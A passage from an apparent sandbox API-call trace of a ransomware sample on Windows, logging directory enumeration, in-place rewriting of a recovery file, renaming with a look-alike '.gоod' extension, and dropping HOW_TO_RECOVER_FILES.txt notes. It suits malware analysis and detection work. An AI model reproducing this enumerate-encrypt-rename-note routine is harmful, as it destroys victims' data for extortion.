ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReAgentOld.xml", cAlternateFileName="REAGEN~1.XML")) returned 1 [0129.898] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1044dfc5, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReAgentOld.xml", cAlternateFileName="REAGEN~1.XML")) returned 0 [0129.898] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0129.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcfa0) returned 1 [0129.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcf60) returned 1 [0129.899] GetFullPathNameW (in: lpFileName="C:\\Recovery\\ReAgentOld.xml", nBufferLength=0x105, lpBuffer=0x10fc940, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\ReAgentOld.xml", lpFilePart=0x0) returned 0x1a [0129.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fce10) returned 1 [0129.899] GetFileAttributesExW (in: lpFileName="C:\\Recovery\\ReAgentOld.xml" (normalized: "c:\\recovery\\reagentold.xml"), fInfoLevelId=0x0, lpFileInformation=0x3608580 | out: lpFileInformation=0x3608580*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1044dfc5, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3ee)) returned 1 [0129.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcdd0) returned 1 [0129.899] GetFullPathNameW (in: lpFileName="C:\\Recovery\\ReAgentOld.xml", nBufferLength=0x105, lpBuffer=0x10fc7a0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\ReAgentOld.xml", lpFilePart=0x0) returned 0x1a [0129.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fccc0) returned 1 [0129.899] CreateFileW (lpFileName="C:\\Recovery\\ReAgentOld.xml" (normalized: "c:\\recovery\\reagentold.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0129.899] GetFileType (hFile=0x6e4) returned 0x1 [0129.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcc30) returned 1 [0129.899] GetFileType (hFile=0x6e4) returned 0x1 [0129.899] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x10fce68 | out: lpFileSizeHigh=0x10fce68*=0x0) returned 0x3ee [0129.900] ReadFile (in: hFile=0x6e4, lpBuffer=0x3608b68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fcd98, lpOverlapped=0x0 | out: lpBuffer=0x3608b68*, lpNumberOfBytesRead=0x10fcd98*=0x3ee, lpOverlapped=0x0) returned 1 [0129.901] CloseHandle (hObject=0x6e4) returned 1 [0130.741] GetFullPathNameW (in: lpFileName="C:\\Recovery\\ReAgentOld.xml", nBufferLength=0x105, lpBuffer=0x10fc7a0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\ReAgentOld.xml", lpFilePart=0x0) returned 0x1a [0130.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fccc0) returned 1 [0130.741] CreateFileW (lpFileName="C:\\Recovery\\ReAgentOld.xml" (normalized: "c:\\recovery\\reagentold.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0130.742] GetFileType (hFile=0x630) returned 0x1 [0130.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcc30) returned 1 [0130.742] GetFileType (hFile=0x630) returned 0x1 [0130.742] WriteFile (in: hFile=0x630, lpBuffer=0x3717d88*, nNumberOfBytesToWrite=0x3f0, lpNumberOfBytesWritten=0x10fcca8, lpOverlapped=0x0 | out: lpBuffer=0x3717d88*, lpNumberOfBytesWritten=0x10fcca8*=0x3f0, lpOverlapped=0x0) returned 1 [0130.743] CloseHandle (hObject=0x630) returned 1 [0130.743] GetFullPathNameW (in: lpFileName="C:\\Recovery\\ReAgentOld.xml", nBufferLength=0x105, lpBuffer=0x10fc940, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\ReAgentOld.xml", lpFilePart=0x0) returned 0x1a [0130.743] GetFullPathNameW (in: lpFileName="C:\\Recovery\\ReAgentOld.xml.gоod", nBufferLength=0x105, lpBuffer=0x10fc940, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\ReAgentOld.xml.gоod", lpFilePart=0x0) returned 0x1f [0130.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fcdd0) returned 1 [0130.743] GetFileAttributesExW (in: lpFileName="C:\\Recovery\\ReAgentOld.xml" (normalized: "c:\\recovery\\reagentold.xml"), fInfoLevelId=0x0, lpFileInformation=0x10fceb0 | out: lpFileInformation=0x10fceb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1044dfc5, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4a2574cf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3f0)) returned 1 [0130.743] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcd90) returned 1 [0130.743] MoveFileW (lpExistingFileName="C:\\Recovery\\ReAgentOld.xml" (normalized: "c:\\recovery\\reagentold.xml"), lpNewFileName="C:\\Recovery\\ReAgentOld.xml.gоod" (normalized: "c:\\recovery\\reagentold.xml.gоod")) returned 1 [0130.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc630) returned 1 [0130.745] GetFullPathNameW (in: lpFileName="C:\\Recovery\\Logs", nBufferLength=0x105, lpBuffer=0x10fc0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\Logs", lpFilePart=0x0) returned 0x10 [0130.745] FindFirstFileW (in: lpFileName="C:\\Recovery\\Logs\\*", lpFindFileData=0x10fc350 | out: lpFindFileData=0x10fc350*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x28e9c3a2, ftLastAccessTime.dwHighDateTime=0x1d32795, ftLastWriteTime.dwLowDateTime=0x28e9c3a2, ftLastWriteTime.dwHighDateTime=0x1d32795, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.745] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x28e9c3a2, ftLastAccessTime.dwHighDateTime=0x1d32795, ftLastWriteTime.dwLowDateTime=0x28e9c3a2, ftLastWriteTime.dwHighDateTime=0x1d32795, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.745] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x28e9c3a2, ftLastAccessTime.dwHighDateTime=0x1d32795, ftLastWriteTime.dwLowDateTime=0x28e9c3a2, ftLastWriteTime.dwHighDateTime=0x1d32795, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0130.745] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc570) returned 1 [0130.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc530) returned 1 [0130.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc630) returned 1 [0130.745] GetFullPathNameW (in: lpFileName="C:\\Recovery\\Logs", nBufferLength=0x105, lpBuffer=0x10fc0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\Logs", lpFilePart=0x0) returned 0x10 [0130.746] FindFirstFileW (in: lpFileName="C:\\Recovery\\Logs\\*", lpFindFileData=0x10fc350 | out: lpFindFileData=0x10fc350*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x28e9c3a2, ftLastAccessTime.dwHighDateTime=0x1d32795, ftLastWriteTime.dwLowDateTime=0x28e9c3a2, ftLastWriteTime.dwHighDateTime=0x1d32795, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.746] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x28e9c3a2, ftLastAccessTime.dwHighDateTime=0x1d32795, ftLastWriteTime.dwLowDateTime=0x28e9c3a2, ftLastWriteTime.dwHighDateTime=0x1d32795, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.746] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x28e9c3a2, ftLastAccessTime.dwHighDateTime=0x1d32795, ftLastWriteTime.dwLowDateTime=0x28e9c3a2, ftLastWriteTime.dwHighDateTime=0x1d32795, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0130.746] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc570) returned 1 [0130.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc530) returned 1 [0130.746] GetFullPathNameW (in: lpFileName="C:\\Recovery\\Logs\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fc080, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\Logs\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x29 [0130.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc5a0) returned 1 [0130.746] CreateFileW (lpFileName="C:\\Recovery\\Logs\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\recovery\\logs\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0130.747] GetFileType (hFile=0x630) returned 0x1 [0130.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc510) returned 1 [0130.747] GetFileType (hFile=0x630) returned 0x1 [0130.748] WriteFile (in: hFile=0x630, lpBuffer=0x37286f8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fc668, lpOverlapped=0x0 | out: lpBuffer=0x37286f8*, lpNumberOfBytesWritten=0x10fc668*=0x5d0, lpOverlapped=0x0) returned 1 [0130.749] CloseHandle (hObject=0x630) returned 1 [0130.749] GetFullPathNameW (in: lpFileName="C:\\Recovery\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fcab0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x24 [0130.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fcfd0) returned 1 [0130.749] CreateFileW (lpFileName="C:\\Recovery\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\recovery\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0130.750] GetFileType (hFile=0x630) returned 0x1 [0130.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcf40) returned 1 [0130.750] GetFileType (hFile=0x630) returned 0x1 [0130.751] WriteFile (in: hFile=0x630, lpBuffer=0x372bee0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fd098, lpOverlapped=0x0 | out: lpBuffer=0x372bee0*, lpNumberOfBytesWritten=0x10fd098*=0x5d0, lpOverlapped=0x0) returned 1 [0130.751] CloseHandle (hObject=0x630) returned 1 [0130.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fd060) returned 1 [0130.752] GetFullPathNameW (in: lpFileName="C:\\System Volume Information", nBufferLength=0x105, lpBuffer=0x10fcb00, lpFilePart=0x0 | out: lpBuffer="C:\\System Volume Information", lpFilePart=0x0) returned 0x1c [0130.752] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\*", lpFindFileData=0x10fcd80 | out: lpFindFileData=0x10fcd80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0130.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fd010) returned 1 [0130.755] GetFullPathNameW (in: lpFileName="C:\\System Volume Information\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fcab0, lpFilePart=0x0 | out: lpBuffer="C:\\System Volume Information\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x35 [0130.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fcfd0) returned 1 [0130.755] CreateFileW (lpFileName="C:\\System Volume Information\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\system volume information\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f99c0) returned 1 [0130.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fd060) returned 1 [0130.778] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x10fcb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0130.778] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x10fcd80 | out: lpFindFileData=0x10fcd80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x279817ef, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x279817ef, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.778] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x279817ef, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x279817ef, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.779] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xd7b844b1, ftCreationTime.dwHighDateTime=0x1d2a02f, ftLastAccessTime.dwLowDateTime=0xd7b844b1, ftLastAccessTime.dwHighDateTime=0x1d2a02f, ftLastWriteTime.dwLowDateTime=0xd7b844b1, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0130.779] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0130.779] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xd7b844b1, ftCreationTime.dwHighDateTime=0x1d2a02f, ftLastAccessTime.dwLowDateTime=0xd7b844b1, ftLastAccessTime.dwHighDateTime=0x1d2a02f, ftLastWriteTime.dwLowDateTime=0xd7b844b1, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0130.779] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xc40864ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default.migrated", cAlternateFileName="DEFAUL~1.MIG")) returned 1 [0130.779] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a9bc987, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f69dfa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5f69dfa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0130.779] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x1ba53d0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x1ba53d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 1 [0130.779] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x279817ef, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x279817ef, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x279817ef, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0130.780] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475e19ed, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0130.780] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475e19ed, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0 [0130.780] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcfa0) returned 1 [0130.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcf60) returned 1 [0130.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fd060) returned 1 [0130.780] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x10fcb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0130.780] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x10fcd80 | out: lpFindFileData=0x10fcd80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x279817ef, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x279817ef, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.780] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x279817ef, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x279817ef, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.780] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xd7b844b1, ftCreationTime.dwHighDateTime=0x1d2a02f, ftLastAccessTime.dwLowDateTime=0xd7b844b1, ftLastAccessTime.dwHighDateTime=0x1d2a02f, ftLastWriteTime.dwLowDateTime=0xd7b844b1, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0130.781] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0130.781] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xd7b844b1, ftCreationTime.dwHighDateTime=0x1d2a02f, ftLastAccessTime.dwLowDateTime=0xd7b844b1, ftLastAccessTime.dwHighDateTime=0x1d2a02f, ftLastWriteTime.dwLowDateTime=0xd7b844b1, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0130.781] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xc40864ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default.migrated", cAlternateFileName="DEFAUL~1.MIG")) returned 1 [0130.781] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a9bc987, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f69dfa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5f69dfa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0130.781] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x1ba53d0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x1ba53d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 1 [0130.781] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x279817ef, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x279817ef, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x279817ef, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, 